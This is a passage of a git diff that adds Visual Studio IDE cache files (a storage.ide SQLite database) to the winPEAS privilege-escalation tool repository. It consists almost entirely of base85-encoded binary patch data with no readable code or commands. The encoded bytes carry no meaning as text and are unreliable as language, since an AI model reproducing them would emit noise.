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 literal 0 HcmV?d00001 diff --git a/winPEAS/winPEASexe/.vs/winPEAS/v16/Server/sqlite3/storage.ide b/winPEAS/winPEASexe/.vs/winPEAS/v16/Server/sqlite3/storage.ide new file mode 100755 index 0000000000000000000000000000000000000000..45976f5c4d364dbdcdaac411657225d6a6a15c49 GIT binary patch literal 1073152 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 